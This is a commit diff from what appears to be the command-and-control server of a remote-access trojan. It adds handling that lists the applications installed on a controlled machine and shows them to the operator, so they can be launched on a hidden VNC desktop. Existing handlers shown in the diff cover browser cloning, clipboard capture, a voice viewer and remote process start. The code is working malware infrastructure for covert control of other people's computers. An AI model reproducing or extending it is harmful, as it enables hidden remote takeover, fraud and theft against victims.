allow all apps to be opened in HVNC and show their icons as well. (exe only for best support)
This commit is contained in:
@@ -154,6 +154,7 @@ type WsLifecycleDeps = {
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
@@ -713,6 +714,9 @@ export async function handleWebSocketMessage(
|
||||
case "hvnc_browser_check_result":
|
||||
deps.handleHVNCBrowserCheckResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_installed_apps_result":
|
||||
deps.handleHVNCInstalledAppsResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_dxgi_status":
|
||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||
break;
|
||||
|
||||
@@ -632,6 +632,26 @@ export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
|
||||
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
|
||||
if (Array.isArray(payload.apps)) {
|
||||
for (const app of payload.apps) {
|
||||
apps.push({
|
||||
name: String(app.name || ""),
|
||||
exePath: String(app.exePath || ""),
|
||||
icon: String(app.icon || ""),
|
||||
});
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_installed_apps_result",
|
||||
apps,
|
||||
done: !!payload.done,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
@@ -880,6 +900,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "hvnc_browser_check":
|
||||
sendHVNCCommand(target, "hvnc_browser_check", {});
|
||||
break;
|
||||
case "hvnc_installed_apps":
|
||||
sendHVNCCommand(target, "hvnc_installed_apps", {});
|
||||
break;
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", {
|
||||
path: String(payload.path || ""),
|
||||
|
||||
Reference in New Issue
Block a user